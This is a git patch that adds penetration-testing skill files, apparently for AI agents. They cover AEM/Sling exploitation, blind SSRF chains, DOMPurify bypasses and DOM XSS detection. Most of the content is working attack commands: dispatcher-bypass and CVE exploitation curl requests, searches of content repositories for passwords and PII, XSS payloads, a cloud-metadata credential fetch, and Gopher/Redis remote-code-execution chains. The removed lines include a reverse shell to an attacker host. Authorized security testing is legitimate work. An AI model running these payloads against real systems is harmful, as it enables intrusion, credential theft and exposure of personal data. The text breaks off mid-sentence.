From f3e4348a247dcf1f39a0c759c19a39e02db9aeb5 Mon Sep 17 00:00:00 2001 From: GangGreenTemperTatum <104169244+GangGreenTemperTatum@users.noreply.github.com> Date: Thu, 28 May 2026 12:58:27 -0400 Subject: [PATCH] CAP-989: Port 5 optimized skills to web-security capability MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit New skill: aem-sling-exploitation (97% review, 96% content eval) - Sling selector abuse (rawcontent, listParagraphs, form CVE-2024-26029) - Dispatcher bypass chains via selector/suffix manipulation - JCR enumeration and QueryBuilder exploitation - AEM-specific XSS gadgets (moment.js, jQuery .text(), javascript: URI) - Reference files: dispatcher-bypass-patterns.md, xss-gadgets.md Updated: blind-ssrf-chains (97% review, 95% content eval) - Added constraint assessment table — agents evaluate SSRF primitive capabilities before attempting chains, preventing wasted cycles - Replaced repo-local callback CLI references with CallbackClient tool - Consolidated duplicate examples, added Gopher Redis/FastCGI chain Updated: dompurify-mxss-bypass (90% review, 100% content eval) - Added jQuery .text() post-sanitization bypass (not mXSS, data flow bug) - Added 8-step systematic workflow with validation checkpoints Updated: dom-vulnerability-detection (92% review, 88% content eval) - Added library gadgets: jQuery .text() re-decoding, moment.js format injection, javascript: URI hostname population bypass - Added workflow feedback loops and expanded CSTI guidance Updated: dom-vulnerability-static-analysis (92% review, 87% content eval) - Extracted GADGETS.md reference file for progressive disclosure - Added cross-validation step between grep and AST results - moment.js detection: 38% → 100% with GADGETS.md content All skills eval-validated via tessl (activation + content evals on claude-sonnet-4-6). Chain With sections cleaned for capability context. Co-Authored-By: Claude Opus 4.6 (1M context) --- capabilities/web-security/capability.yaml | 12 +- .../skills/aem-sling-exploitation/SKILL.md | 200 +++++++++++++ .../dispatcher-bypass-patterns.md | 21 ++ .../aem-sling-exploitation/xss-gadgets.md | 30 ++ .../skills/blind-ssrf-chains/SKILL.md | 151 ++++++---- .../dom-vulnerability-detection/SKILL.md | 213 ++++---------- .../GADGETS.md | 42 +++ .../SKILL.md | 264 +++++------------- .../skills/dompurify-mxss-bypass/SKILL.md | 32 ++- 9 files changed, 558 insertions(+), 407 deletions(-) create mode 100644 capabilities/web-security/skills/aem-sling-exploitation/SKILL.md create mode 100644 capabilities/web-security/skills/aem-sling-exploitation/dispatcher-bypass-patterns.md create mode 100644 capabilities/web-security/skills/aem-sling-exploitation/xss-gadgets.md create mode 100644 capabilities/web-security/skills/dom-vulnerability-static-analysis/GADGETS.md diff --git a/capabilities/web-security/capability.yaml b/capabilities/web-security/capability.yaml index b7f74b1..3270046 100644 --- a/capabilities/web-security/capability.yaml +++ b/capabilities/web-security/capability.yaml @@ -4,10 +4,10 @@ version: "1.0.3" description: > Web application penetration testing with 30+ attack technique playbooks covering request smuggling, cache poisoning, SSRF, SSTI, DOM - vulnerabilities, authentication bypasses, parser differentials, and - client-side attacks. Includes HTTP client tooling, Caido proxy - integration via MCP, credential management, DNS rebinding, phone - verification, and vulnerability verification. + vulnerabilities, authentication bypasses, parser differentials, + AEM/Sling exploitation, and client-side attacks. Includes HTTP client + tooling, Caido proxy integration via MCP, credential management, DNS + rebinding, phone verification, and vulnerability verification. mcp: servers: @@ -122,3 +122,7 @@ keywords: - dns-rebinding - dom-security - phone-verification + - aem + - adobe-experience-manager + - sling + - dispatcher-bypass diff --git a/capabilities/web-security/skills/aem-sling-exploitation/SKILL.md b/capabilities/web-security/skills/aem-sling-exploitation/SKILL.md new file mode 100644 index 0000000..2395bb4 --- /dev/null +++ b/capabilities/web-security/skills/aem-sling-exploitation/SKILL.md @@ -0,0 +1,200 @@ +--- +name: aem-sling-exploitation +description: Adobe Experience Manager (AEM) and Apache Sling exploitation — Sling selector abuse, dispatcher bypass chains, JCR enumeration, QueryBuilder exploitation, XSS gadgets, and sensitive data mining. Use when AEM detected (granite login, /etc.clientlibs, /content paths, Sling headers) or when testing Adobe CMS targets. +--- + +AEM security testing via Sling resource resolution abuse. Complements `hopgoblin` (CVE scanner) with manual exploitation methodology derived from 600+ AEM CVE research. + +## 1. Fingerprint and version detect + +```bash +# Granite login page (confirms AEM) +curl -sk "https://TARGET/libs/granite/core/content/login.html" + +# System console (author instance, often blocked) +curl -sk "https://TARGET/system/console" + +# ClientLibs — dotted = modern proxy, slashed = legacy (suggests /etc open for reads) +curl -sk -o /dev/null -w "%{http_code}" "https://TARGET/etc.clientlibs/" +curl -sk -o /dev/null -w "%{http_code}" "https://TARGET/etc/clientlibs/" + +# Version detection via listParagraphs + About page (bypasses dispatcher) +curl -sk "https://TARGET/content/dam.listParagraphs.html?itemResourceType=/libs/granite/ui/components/shell/help/about/about.jsp&limit=1" + +# CSRF token endpoint (confirms Granite auth framework) +curl -sk "https://TARGET/libs/granite/csrf/token.json" + +# Current user identity (unauthenticated = anonymous) +curl -sk "https://TARGET/libs/granite/security/currentuser.json" + +# User info endpoint +curl -sk "https://TARGET/libs/cq/security/userinfo.json" +``` + +**Deployment:** AMS (self-hosted, full attack surface) vs Cloud Service (locked down, no write-to-executable paths). + +## 2. Sling URL anatomy + +``` +scheme://host/path/resource.selector1.selector2.extension/suffix?query + ^^^^^^^^ ^^^^^^^^^ ^^^^^^^^^ ^^^^^^^^^ ^^^^^^ + resource sel 1 sel 2 extension suffix +``` + +**Resolution order:** +1. Java servlet registered with exact path +2. Java servlet by `sling:resourceType`, selector, primary type, or extension +3. `sling:resourceType` pointing to JSP/HTL in `/apps` +4. Same lookup falling through to `/libs` +5. `DefaultGETServlet` as catch-all (enables `.infinity.json` for recursive dumps) + +**Key insight:** Dispatcher matches raw path; Sling resolves selectors/suffixes server-side. This mismatch enables all dispatcher bypasses. POST → SlingPostServlet (node creation), DELETE → node removal (AMS write-path exploitation). + +## 3. Core selector exploits + +### rawcontent (reflected XSS, patched APSB22-40) + +Registered on CQ Page with `.html` extension. Original purpose: strip JS/CSS for content export. Used unsafe HTML serializer that re-emitted sanitized HTML escapes as raw HTML. + +```bash +# Stored XSS — if author-controllable content exists +curl -sk "https://TARGET/content/site/page.rawcontent.html" + +# Reflected XSS via 404 page (path reflected as raw HTML) +curl -sk "https://TARGET/content/nonexistent%3Cimg%20src=x%20onerror=alert(1)%3E.rawcontent.html" + +# Chain with savedsearch for 400 error reflection when 404 is patched +curl -sk "https://TARGET/content/nonexistent.savedsearch.rawcontent.html" +``` + +**Status:** Patched by swapping `htmlwriter` to `html5-serializer`. Test on unpatched AMS instances. + +### listParagraphs (CVE-2022-42348 XSS, APSB22-59) + +Accepts `itemResourceType` query param to re-render against arbitrary resource type. Bypasses dispatcher because Sling resolves `/libs` JSPs internally. (Note: CVE-2022-42351 in the same bulletin is an open redirect, not XSS.) + +```bash +# Reach QueryBuilder via /libs JSP +curl -sk "https://TARGET/content/dam.listParagraphs.html?itemResourceType=/libs/cq/statistics/components/queries-by-result/html.jsp&limit=1&path=/" + +# Reflected XSS via path param in queries-by-result JSP +curl -sk "https://TARGET/content/dam.listParagraphs.html?itemResourceType=/libs/cq/statistics/components/queries-by-result/html.jsp&limit=1&path=" + +# Version fingerprint via About page +curl -sk "https://TARGET/content/dam.listParagraphs.html?itemResourceType=/libs/granite/ui/components/shell/help/about/about.jsp&limit=1" +``` + +### form (CVE-2024-26029) + +Registered on `sling/servlet/default` with no extension restriction — matches every JCR node. Internally forwards the suffix as the new path. + +```bash +# Bypass dispatcher block on /bin/querybuilder.json +curl -sk "https://TARGET/content/dam.form.css/bin/querybuilder.json?path=/&p.limit=10" +curl -sk "https://TARGET/content/dam.form.js/bin/querybuilder.json?path=/&p.limit=10" +curl -sk "https://TARGET/content/dam.form.html/bin/querybuilder.json?path=/&p.limit=10" + +# Chain form + listParagraphs (double dispatcher bypass) +curl -sk "https://TARGET/content/site/page.form.js/content/site/page.listParagraphs.html?itemResourceType=/libs/cq/statistics/components/queries-by-result/html.jsp&path=/" +``` + +## 4. JCR enumeration and data mining + +Once QueryBuilder or JSON selectors are reachable: + +```bash +# Shallow enumeration (avoids 10K node limit) +curl -sk "https://TARGET/.1.json" +curl -sk "https://TARGET/content.1.json" +curl -sk "https://TARGET/content/dam.1.json" + +# Deeper enumeration +curl -sk "https://TARGET/content/dam.2.json" +curl -sk "https://TARGET/content/dam.3.json" + +# Full recursive dump (use with caution — can be large) +curl -sk "https://TARGET/content/dam.infinity.json" + +# QueryBuilder: enumerate users +curl -sk "https://TARGET/bin/querybuilder.json?path=/home/users&p.limit=-1&type=rep:User" + +# QueryBuilder: search for sensitive content +curl -sk "https://TARGET/bin/querybuilder.json?path=/content&fulltext=password&p.limit=10" +curl -sk "https://TARGET/bin/querybuilder.json?path=/content&fulltext=confidential&p.limit=10" + +# DAM assets (often contain PII: spreadsheets, internal docs) +curl -sk "https://TARGET/bin/querybuilder.json?path=/content/dam&type=dam:Asset&p.limit=50" + +# Package listing (deployment artifacts, may contain source) +curl -sk "https://TARGET/etc/packages.json" +curl -sk "https://TARGET/crx/packmgr/list.jsp" +``` + +**Sensitive data locations:** Employee lists with SSNs, plaintext credentials, IP inventories, architecture docs, and "strictly confidential" documents regularly found under `/content` and `/content/dam`. + +## 5. Default permissions footgun + +The anonymous user belongs to the `everyone` group by default. Every "open to all users" JCR ACL also applies to unauthenticated visitors. Test: + +```bash +# Check anonymous access to /libs, /apps, /etc +for path in /libs /apps /etc /content /home; do + code=$(curl -sk -o /dev/null -w "%{http_code}" "https://TARGET${path}.1.json") + echo "$path → $code" +done +``` + +## 6. Dispatcher bypass patterns + +See [dispatcher-bypass-patterns.md](dispatcher-bypass-patterns.md) for extension confusion, selector stacking, path encoding, and semicolon path parameter techniques. + +## 7. Custom selector discovery + +AEM customers register custom selectors via `@SlingServlet` annotations. These are unaudited attack surface. + +```bash +# If /etc/packages is readable, download and grep for servlet registrations +curl -sk "https://TARGET/crx/packmgr/list.jsp" | grep -o '"name":"[^"]*"' + +# After obtaining packages, search for: +# @SlingServlet annotations, resourceTypes registrations, selector bindings +grep -rn "@SlingServlet\|sling:resourceType\|sling:selector" extracted_package/ + +# Brute-force common selectors on content paths +for sel in rawcontent listParagraphs form savedsearch feed json xml model tidy; do + code=$(curl -sk -o /dev/null -w "%{http_code}" "https://TARGET/content/dam.${sel}.html") + echo "$sel → $code" +done +``` + +## 8. AEM-specific XSS gadgets + +See [xss-gadgets.md](xss-gadgets.md) for moment.js format injection, jQuery `.text()` entity re-decoding (post-DOMPurify bypass), and `javascript:` URI property population techniques. + +## 9. Methodology phases + +**Phase 1 — Fingerprint:** Granite login, clientlibs version, currentuser.json, version via listParagraphs+About page. Determine AMS vs Cloud Service. + +**Phase 2 — Primitive testing:** rawcontent+savedsearch on non-existent paths, listParagraphs with itemResourceType, form selector suffix forwarding to /bin/querybuilder.json. + +**Phase 3 — Data mining:** Once QueryBuilder is reachable, walk JCR with `.1.json` selectors. Drill into internal folders. Search for spreadsheets, credentials, architecture docs, "do not publish" drafts. + +**Phase 4 — Custom selectors:** Grab /etc/packages if readable. Grep for SlingServlet annotations and resourceType registrations. Each custom selector is fresh attack surface. + +**Phase 5 — Chain for impact:** Dispatcher bypass alone is not a finding. Chain: form bypass → QueryBuilder → user enumeration → PII exposure. Or: listParagraphs → /libs JSP → reflected XSS. + +## 10. Defense assessment + +**What fails:** Dispatcher rules (path-based, miss selectors/suffixes), WAF blocks (encoding bypasses). + +**What works:** JCR-level ACLs (deny anonymous on /libs, /etc, /home, internal /content paths). AEM upgrades that remove vulnerable selectors at the servlet level. + +**Key check:** If dispatcher blocks are the only defense, they can be bypassed. If JCR ACLs are in place, selector abuse hits 403 at the Sling layer — game over. + +## Chain With +- `apache-confusion-attacks` (if Apache httpd fronts AEM dispatcher) +- `403-bypass` (dispatcher returns 403, try header/path manipulation) +- `dom-vulnerability-detection` (for AEM-specific XSS gadgets in client JS) +- `parser-differential-bypass` (dispatcher vs Sling parsing differences) +- `write-path-to-rce` (if file write is achievable on AMS instances) +- **hopgoblin** (external tool) — automated AEM CVE scanner, run first for known vulns diff --git a/capabilities/web-security/skills/aem-sling-exploitation/dispatcher-bypass-patterns.md b/capabilities/web-security/skills/aem-sling-exploitation/dispatcher-bypass-patterns.md new file mode 100644 index 0000000..5fc5597 --- /dev/null +++ b/capabilities/web-security/skills/aem-sling-exploitation/dispatcher-bypass-patterns.md @@ -0,0 +1,21 @@ +# Dispatcher Bypass Patterns + +When direct paths are blocked, use selector/suffix manipulation: + +```bash +# Extension confusion +curl -sk "https://TARGET/bin/querybuilder.json" # blocked +curl -sk "https://TARGET/content/dam.form.css/bin/querybuilder.json" # bypass via form suffix + +# Selector stacking +curl -sk "https://TARGET/content/page.listParagraphs.html" # blocked +curl -sk "https://TARGET/content/page.form.js/content/page.listParagraphs.html" # form → listParagraphs + +# Path encoding +curl -sk "https://TARGET/content/dam.form.css/bin/querybuilder.json" +curl -sk "https://TARGET/content/dam.form.css/%62in/querybuilder.json" + +# Semicolon path parameters (Sling ignores, dispatcher may not parse) +curl -sk "https://TARGET/bin/querybuilder.json;.css" +curl -sk "https://TARGET/bin/querybuilder.json;x=.ico" +``` diff --git a/capabilities/web-security/skills/aem-sling-exploitation/xss-gadgets.md b/capabilities/web-security/skills/aem-sling-exploitation/xss-gadgets.md new file mode 100644 index 0000000..5346319 --- /dev/null +++ b/capabilities/web-security/skills/aem-sling-exploitation/xss-gadgets.md @@ -0,0 +1,30 @@ +# AEM-Specific XSS Gadgets + +### moment.js format injection +If user input controls `moment().format()` argument and output hits innerHTML: +```javascript +moment().format("[]") +// Square brackets = literal output in moment.js format strings +``` + +### jQuery .text() entity re-decoding +Post-DOMPurify bypass chain: +```javascript +// Vulnerable pattern: +const clean = DOMPurify.sanitize(value); // entities pass through +const $el = $('
' + clean + '
'); // browser decodes entities +const text = $el.text(); // reads decoded text +el.innerHTML = text; // re-parses as HTML → XSS + +// Payload: <img src=x onerror=alert(document.domain)> +// DOMPurify sees entities (safe) → browser decodes → .text() reads raw tags → innerHTML executes +``` + +### javascript: URI property population +```javascript +let u = new URL("javascript://example.com:443/path?key=val#frag%0aalert(document.domain)"); +// u.hostname === "example.com" (passes allowlist checks) +// u.pathname === "/path" (passes path validation) +// u.port === "443" (passes port checks) +// After javascript: scheme is stripped, // starts a JS single-line comment. %0a newline ends it. Code after executes. +``` diff --git a/capabilities/web-security/skills/blind-ssrf-chains/SKILL.md b/capabilities/web-security/skills/blind-ssrf-chains/SKILL.md index 28599ed..8239808 100644 --- a/capabilities/web-security/skills/blind-ssrf-chains/SKILL.md +++ b/capabilities/web-security/skills/blind-ssrf-chains/SKILL.md @@ -1,82 +1,129 @@ --- name: blind-ssrf-chains -description: Service-specific SSRF escalation payloads and canary techniques. Use when blind SSRF is confirmed to escalate impact via internal services (Redis, Elasticsearch, Docker, Jenkins, Consul, Solr, Jira, GitLab). +description: "Escalate blind SSRF to proven impact via internal service canaries, port fingerprinting, and chained exploitation targeting Redis, Docker API, Jenkins, and cloud metadata. Use when blind SSRF is confirmed but you need to demonstrate CIA impact beyond 'I can reach internal hosts.'" --- - # Blind SSRF Chains -Escalate blind SSRF to RCE/data exfil by targeting internal services that make secondary outbound requests or accept destructive commands. +You have blind SSRF. You can hit internal IPs but get no response body. The program will reject "I can reach 127.0.0.1." You need to prove impact. -## When to Use +## Constraint Assessment (do this FIRST) -- Blind SSRF confirmed (can hit internal IPs, no response body) -- Need to prove impact beyond "I can reach internal hosts" -- Internal service fingerprinting via response timing/size differentials +Before attempting any chain, map what your SSRF primitive actually allows. Most techniques below require specific capabilities — if your primitive is constrained, skip to the viable subset. -## When NOT to Use +| Constraint | What it blocks | What remains viable | +|---|---|---| +| HTTPS-only (no HTTP) | Redis, FastCGI, Memcache, most internal services, **cloud metadata** (IMDSv1 is HTTP on 169.254.169.254:80) | Canaries on HTTPS internal services only; cloud metadata blocked unless IMDSv2 on HTTPS or instance identity endpoint available | +| No Gopher protocol | Redis cmd injection, FastCGI, MySQL, Memcache | HTTP-only targets: Jenkins, Solr, Docker API, Consul, cloud metadata | +| No port specification | Port scanning, non-standard service targeting | Default-port services only (80/443), cloud metadata (169.254.169.254) | +| No query parameters | Solr shard canary, Jenkins crumbIssuer, most canary endpoints | Path-only targets: Docker `/containers/json`, cloud metadata, Elasticsearch `/_search` | +| No redirect following | Redirect-based protocol downgrade, SSRF redirect chains | Direct-hit targets only | +| POST-only / fixed body | GET-based canary endpoints, Jenkins script compilation | POST-accepting endpoints (Docker API create, some webhooks) | +| No response body or timing oracle | Fingerprinting, all response-based inference | OOB callbacks only (if outbound from internal services) | -- Full SSRF with response body (read response directly instead) -- No confirmed SSRF yet (use ssrf-ip-filter-bypass or ssrf-redirect-loop first) +**If your primitive is POST-only + HTTPS-only + no ports + no query params + no redirects + blind:** Standard chains are all blocked. Note: HTTPS-only also blocks standard cloud metadata (IMDSv1 at 169.254.169.254 is HTTP on port 80). Your only paths are: (1) self-referencing SSRF to internal subdomains on 443 that make secondary outbound requests, (2) DNS rebinding to bypass IP restrictions. If none of these are viable, document the blind SSRF as a lead and move on — don't burn context on dead chains. -## SSRF Canary Concept +## The Canary Principle -Chain: `attacker -> SSRF -> internal service -> outbound request -> OOB callback` +Don't try to read responses from the SSRF — find internal services that make **secondary outbound requests** to infrastructure you control. The chain: your request → SSRF → internal service → outbound fetch → your OOB callback. The callback proves the internal service exists AND is exploitable. -Services that make outbound requests when hit via SSRF: Confluence, Jira, Jenkins, Solr, Weblogic, Hystrix Dashboard, W3 Total Cache. Hit them internally, they fetch your callback URL, confirming exploitation. +**OOB callback setup**: Use the `CallbackClient` tool to register a callback URL before testing. Request HTTPS protocol — many internal services only make HTTPS outbound requests. After triggering the SSRF chain, check for received callbacks to confirm the internal service made an outbound request. -## Fingerprinting (Blind) +Canary-capable services: Confluence, Jira, Jenkins, Solr, Weblogic, Hystrix Dashboard. These all have endpoints that fetch attacker-controlled URLs as part of normal functionality. -| Signal | Technique | -|--------|-----------| -| Status code delta | Live service returns 200; dead port returns 500/timeout | -| Response size delta | Compare byte count of hit vs miss | -| Timing delta | Connected ports respond faster than filtered | -| Error oracle | Distinct error strings reveal service presence | +## Fingerprinting Without Response Bodies -## Service Payloads +You can't see responses, but you can measure: -### Elasticsearch (9200) -``` -/_cluster/health -/_cat/indices -``` +- **Status code delta** — live service returns 200, dead port returns 500/timeout. The SSRF endpoint leaks this through its own response behavior. +- **Response size delta** — byte count differs between hit and miss. Even 1 byte difference confirms service presence. +- **Timing delta** — connected ports respond faster than filtered. Measurable even through the SSRF proxy layer. +- **Error oracle** — the SSRF endpoint's error handler may leak distinct strings per backend failure mode. -### Redis (6379) -- via Gopher to Cron RCE -``` -gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/ATTACKER/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a +Combine these to port-scan internally and build a service map before attempting exploitation. + +## Target Prioritization + +When you've confirmed internal reachability, prioritize by **impact density** — services where a single unauthenticated request yields RCE or data access: + +1. **Redis (6379)** — Gopher protocol to inject commands. Cron write = RCE. If GitLab is present, Redis queue injection = RCE via Resque workers. +2. **Docker API (2375/2376)** — Unauthenticated container creation with host bind mount = instant RCE. Check `/containers/json` first. +3. **Consul/etcd (8500/2379)** — Service registration + health check callbacks to canary. May contain secrets in KV store. +4. **Jenkins (8080)** — Groovy script compilation endpoint accepts `@Grab` annotations that fetch from attacker URLs. Pre-auth on many installs. +5. **Elasticsearch (9200)** — Data exfil via `/_search`. Older versions allow shutdown via `/_shutdown`. +6. **FastCGI (9000)** — Gopher to inject PHP via `auto_prepend_file`. Use Gopherus to generate payloads. +7. **Solr (8983)** — Shard parameter accepts arbitrary URLs (canary). XXE via `xmlparser` query parser. +8. **Jira/Confluence (8080/8443)** — Multiple CVEs with unauthenticated SSRF endpoints that act as canaries. + +## Example: Blind SSRF → Port Scan → HTTP Canary → Cloud Metadata + +```bash +# 1. Get OOB callback URL (use CallbackClient tool) +# CALLBACK= + +# 2. Port scan internal services via timing +for port in 6379 8080 8983 9200 2375; do + t=$(curl -s -o /dev/null -w "%{time_total}" "$TARGET/fetch?url=http://127.0.0.1:$port/") + echo "Port $port: ${t}s" +done +# Fast response = open port. Timeout = closed/filtered. + +# 3. Fingerprint Jenkins on internal port 8080 (pre-auth crumbIssuer) +curl -s -o /dev/null -w "%{http_code}" \ + "$TARGET/fetch?url=http://127.0.0.1:8080/crumbIssuer/api/json" +# 200 = Jenkins present, 500/timeout = not Jenkins + +# 4. Use Solr shard parameter as canary (triggers outbound fetch) +curl -s "$TARGET/fetch?url=http://127.0.0.1:8983/solr/admin/cores?action=STATUS%26shards=${CALLBACK}" + +# 5. Check for OOB callback — confirms internal Solr made outbound request +# Use CallbackClient tool to check for received requests + +# 6. If callback received, escalate: cloud metadata via SSRF +curl -s "$TARGET/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" ``` -### Docker (2375/2376) +## Decision Logic + ``` -/containers/json -/secrets -/services +Blind SSRF confirmed + ├── Can you use Gopher protocol? + │ ├── Yes → Target Redis, FastCGI, Memcache (direct command injection) + │ └── No → Target HTTP services only (Jenkins, Solr, Jira, Docker API) + ├── Do you need to prove outbound connectivity? + │ └── Use canary endpoints (Jenkins createToken, Solr shards, Jira icon-uri, Hystrix proxy.stream) + ├── Do you know the internal stack? + │ ├── Yes → Target the highest-impact service directly + │ └── No → Fingerprint via timing/size deltas on common ports, then prioritize + └── Is cloud metadata reachable? + └── 169.254.169.254 → credentials → lateral movement (often higher impact than direct service exploitation) ``` -RCE: `POST /containers/create` with privileged alpine + host bind mount. -### Jenkins (8080/8888) -Canary: `/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://CANARY/%23&login=a&password=b` +## Example Chain: Gopher → Redis Cron Write → RCE -### Solr (8983) -Canary via shards: `/search?q=Apple&shards=http://CANARY/solr/collection/config%23` +When the SSRF primitive supports Gopher protocol and Redis is on port 6379: -### Jira/Confluence -CVE-2017-9506: `/plugins/servlet/oauth/users/icon-uri?consumerUri=http://CANARY` -CVE-2019-8451: `/plugins/servlet/gadgets/makeRequest?url=https://CANARY:443@example.com` +```bash +# 1. Generate Redis cron-write payload with Gopherus +# Gopherus generates Gopher payloads for Redis, FastCGI, MySQL, PostgreSQL, Memcache +gopherus --exploit redis # select "RCE", enter reverse shell cron job -### GitLab -- via Redis (6379) -``` -git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque:gitlab:queues%20system_hook_push%0D%0A%20lpush%20resque:gitlab:queue:system_hook_push%20%22{"class":"GitlabShellWorker","args":["class_eval","open('|CMD').read"]}%22%0D%0A%20exec%0D%0A/ssrf.git -``` +# 2. Send Gopher payload via SSRF (Redis on 192.168.1.10:6379) +curl -s "$TARGET/fetch?url=gopher://192.168.1.10:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A..." -## Tools +# 3. Fallback: FastCGI on port 9000 via Gopher (PHP auto_prepend_file injection) +gopherus --exploit fastcgi # generates PHP code execution payload +curl -s "$TARGET/fetch?url=gopher://192.168.1.10:9000/_%01%01..." + +# 4. GitLab-specific: If Ruby/GitLab detected, inject into Redis Resque queue +# instead of cron write — Resque workers execute serialized Ruby jobs from Redis +# This gives RCE via GitLab's background job processor without writing to disk +``` -- **Gopherus** -- generates gopher payloads for MySQL, PostgreSQL, FastCGI, Redis, Memcache -- **surf** -- `surf -l hosts.txt` to find internal-only IPs reachable via SSRF +**Priority order**: Redis cron write (broadest) → GitLab Resque queue injection (if GitLab present, more reliable than cron) → FastCGI auto_prepend_file (requires PHP behind FastCGI). ## Chain With -- **ssrf-ip-filter-bypass** -- bypass IP filters to reach internal services -- **ssrf-redirect-loop** -- upgrade blind to visible via redirect chains -- **OOB callbacks** -- register canary URLs for outbound request confirmation -- **surf** -- identify which internal hosts are viable SSRF targets +- **ssrf-ip-filter-bypass** — get past IP filters to reach internal services +- **ssrf-redirect-loop** — upgrade blind to visible via redirect error differentials +- **CallbackClient tool** — register OOB callback URLs for canary verification +- **Gopherus** (external) — generate Gopher payloads for Redis, FastCGI, MySQL, PostgreSQL, Memcache diff --git a/capabilities/web-security/skills/dom-vulnerability-detection/SKILL.md b/capabilities/web-security/skills/dom-vulnerability-detection/SKILL.md index 8cb60f0..60ff21b 100644 --- a/capabilities/web-security/skills/dom-vulnerability-detection/SKILL.md +++ b/capabilities/web-security/skills/dom-vulnerability-detection/SKILL.md @@ -1,168 +1,73 @@ --- name: dom-vulnerability-detection -description: DOM-based XSS and client-side vulnerability detection for code review and dynamic analysis. USE WHEN auditing JavaScript code, reviewing client-side security, analyzing DOM manipulation, testing postMessage handlers, checking URL validation, investigating client-side template injection (AngularJS, Vue.js, htmx), OR identifying attacker-controlled sources and dangerous sinks. Covers source tracing, sink identification, sanitization validation, browser quirks (DOM clobbering, mutation XSS), and framework-specific vulnerabilities. +description: DOM-based XSS and client-side vulnerability detection via dynamic analysis — trace attacker-controlled sources to dangerous sinks, audit postMessage handlers, test CSTI in Angular/Vue/htmx, and check for DOM clobbering. Use when auditing JavaScript code, reviewing client-side security, analyzing DOM manipulation, or testing postMessage handlers. --- -# DynamicDomVulnerabilityDetection +## Sources (attacker-controlled input) +`location.hash`, `location.search`, `location.href`, `document.URL`, `document.referrer`, `window.name`, `postMessage event.data`, `document.cookie`, `localStorage`/`sessionStorage` -Comprehensive framework for identifying DOM-based cross-site scripting (XSS) and related client-side vulnerabilities during code review and dynamic analysis. +## Sinks (dangerous output) +`innerHTML`, `outerHTML`, `document.write()`, `eval()`, `setTimeout(string)`, `new Function()`, `location.href=`, `location.assign()`, `element.src=`, `jQuery.html()`, `$.globalEval()`, `v-html`, `ng-bind-html`, `dangerouslySetInnerHTML` -## Overview +## Analysis workflow -DOM-based vulnerabilities occur when JavaScript reads data from an attacker-controlled source (for example, the URL or a cross-origin message) and sends it to a sink that interprets it as HTML or JavaScript. This skill summarizes the critical concepts and patterns needed to detect and exploit these issues, based on research across multiple security resources. +### 1. Find sources reaching sinks +```bash +# Search for dangerous sinks in JS files +grep -rn "innerHTML\|outerHTML\|document\.write\|\.html(" --include="*.js" --include="*.tsx" src/ +grep -rn "eval(\|setTimeout(\|setInterval(\|new Function(" --include="*.js" src/ -## When to Use This Skill - -Activate this skill whenever you are asked to: -* Review JavaScript or HTML for potential cross-site scripting vulnerabilities -* Assess whether user-controlled data can reach dangerous DOM APIs (innerHTML, document.write, eval, etc.) -* Audit custom safe-URL helpers or regex filters for URL or input validation -* Investigate cross-window messaging (postMessage) logic for origin and reference checks -* Test single-page applications or front-end frameworks (AngularJS, Vue.js, htmx, etc.) for client-side template injection (CSTI) - -## Step-by-Step Analysis Framework - -### 1. Identify Attacker-Controlled Sources - -Look for any of the following sources of input. These can carry malicious payloads if not properly sanitised: - -* **Location:** `window.location`, `location.search`, `location.hash`, and related properties. Path and fragment data may be used without encoding. -* **Referrer:** `document.referrer` can contain untrusted data. -* **Cookies and storage:** Values from `document.cookie`, `localStorage`, etc., may originate from another subdomain or previous XSS. -* **Window name:** `window.name` is cross-origin writable and readable. -* **Messages:** Data passed via `postMessage` (the `e.data` property) is arbitrary and untrusted. - -Use search tools (Ctrl+Shift+F in DevTools or grep) to find these sources in JavaScript files. - -### 2. Trace the Data Flow - -After locating a source, trace each assignment or transformation until you reach a sink. Keep track of variable names as they are reassigned. Use breakpoints in DevTools to inspect variable values at runtime. - -### 3. Locate Dangerous Sinks - -Common DOM sinks include: - -* **HTML injection:** Assignments to `.innerHTML`, `.outerHTML`, `.insertAdjacentHTML`, calls to `document.write()`, `document.open()` ... `.write()` `.close()`, or jQuery's `.html()` and `.append()`. -* **URL redirects:** Assigning unvalidated strings to `location`, `location.href`, `location.assign()`, `window.open()`, or setting attribute values such as `element.src` or `element.href`. -* **Code execution:** Calls to `eval()`, `Function()`, `setTimeout()` or `setInterval()` with string arguments. jQuery's `$()` selector and other library helpers may implicitly call `.innerHTML`. -* **Template expressions:** AngularJS attributes like `ng-init` and Vue.js interpolation (`{{ ... }}`) interpret input as code. - -If user-controlled data flows into any of these sinks, test for XSS by injecting a harmless payload such as `` for HTML sinks, or `alert(1)` for JavaScript sinks. Remember that `